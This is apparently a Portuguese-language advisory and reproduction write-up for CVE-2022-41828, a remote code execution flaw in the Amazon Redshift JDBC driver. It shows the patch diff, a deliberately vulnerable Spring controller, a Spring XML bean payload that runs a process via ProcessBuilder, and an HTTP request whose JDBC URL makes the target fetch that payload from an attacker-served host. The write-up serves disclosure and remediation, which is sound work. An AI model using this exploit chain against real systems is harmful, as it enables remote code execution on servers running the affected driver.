
[CVE-2022-41828] Amazon AWS Redshift JDBC Driver Execução Remota de Código (RCE)
O Driver JDBC da Amazon para Redshift é um driver JDBC Tipo 4 que fornece conectividade de banco de dados por meio das interfaces padrão de programação de aplicativos (APIs) JDBC disponíveis nas Edições Enterprise da Plataforma Java. O Driver fornece acesso ao Redshift a partir de qualquer aplicativo Java, servidor de aplicativos ou applet habilitado para Java.
Existe um problema potencial de execução remota de comandos nas versões 2.1.0.7 e anteriores do redshift-jdbc42. Quando plugins são usados com o driver, ele instancia instâncias de plugins com base em nomes de classes Java fornecidos por meio das propriedades de conexão sslhostnameverifier, socketFactory, e . Nas versões afetadas, o driver não verifica se uma classe de plugin implementa a interface esperada antes da instanciação. Isso pode levar ao carregamento de classes Java arbitrárias, que um atacante experiente com controle sobre a URL JDBC pode usar para obter execução remota de código.
sslfactorysslpasswordcallbackEste problema está corrigido no redshift-jdbc-42 versão 2.1.0.8 e posteriores.
A AWS aconselha os clientes que usam plugins a atualizarem para a versão 2.1.0.8 ou superior do redshift-jdbc42. Não há soluções alternativas conhecidas para este problema.
Para corrigir este problema, foram feitas modificações em 4 classes Java diferentes no commit aws/amazon-redshift-jdbc-driver@9999659. Essas classes são as seguintes, respectivamente.
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
return SocketFactory.getDefault();
}
try {
//removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
classname = NonValidatingFactory.class.getName();
//removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(

@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
if (sslpasswordcallback != null) {
try {
//removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The password callback class provided {0} could not be instantiated.",

@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
} else {
try {
//removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

@@ -34,13 +34,13 @@ public class ObjectFactory {
* @throws IllegalAccessException if something goes wrong
* @throws InvocationTargetException if something goes wrong
*/
//removed public static Object instantiate(String classname, Properties info, boolean tryString,
public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = {info};
Constructor<?> ctor = null; //removed
Class<?> cls = Class.forName(classname); //removed
Constructor<? extends T> ctor = null; //added
Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException nsme) {

Para reproduzir o CVE-2022-41828, é desenvolvido um aplicativo Java vulnerável com o framework Spring que usa o driver vulnerável redshift-jdbc42 versão 2.1.0.7 como biblioteca externa.
Os seguintes trechos de código representam o conteúdo do arquivo pom.xml.
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>RedshiftJdbcRce</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>RedshiftJdbcRce</name>
<description>RedshiftJdbcRce</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.7</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

Os seguintes trechos de código representam o conteúdo da classe controller src/main/java/com/example/redshiftjdbcrce/controller/RedshiftJdbcRCE.java.
package com.example.redshiftjdbcrce.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;
@RestController
public class RedshiftJdbcRCE {
@RequestMapping("/jdbcset")
public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
String jdbcurl = request.getParameter("jdbc");
DriverManager.getConnection(jdbcurl);
}
public static void main(String[] args) throws SQLException {
}
}

O arquivo a seguir representa o conteúdo da estrutura de documento XML cmd.xml, que é usada durante a exploração.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<!--<value>touch</value>-->
<!--<value>/tmp/CVE-2022-41828</value>-->
<value>gnome-calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
Antes de acionar a vulnerabilidade, o arquivo cmd.xml é servido via HTTP para que possa ser acessado pelo servidor alvo.
root@kali:~$ python3 -m http.server 2121
Para acionar/explorar a vulnerabilidade, uma requisição juntamente com o payload é enviada da seguinte forma.
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
HTTP/1.1 500
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108
{
"timestamp": "2022-12-08T13:58:14.295+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/jdbcset"
}

Para obter mais informações sobre a remediação desta vulnerabilidade, visite os seguintes recursos:
O driver JDBC do AWS Redshift não valida o tipo de classe durante a instanciação de objetosPossível execução remota de comandos no redshift-jdbc-42 <= 2.1.0.7aws/amazon-redshift-jdbc-driver@40b143baws/amazon-redshift-jdbc-driver@9999659CVE-2022-41828CVE-2022-41828CVE-2022-41828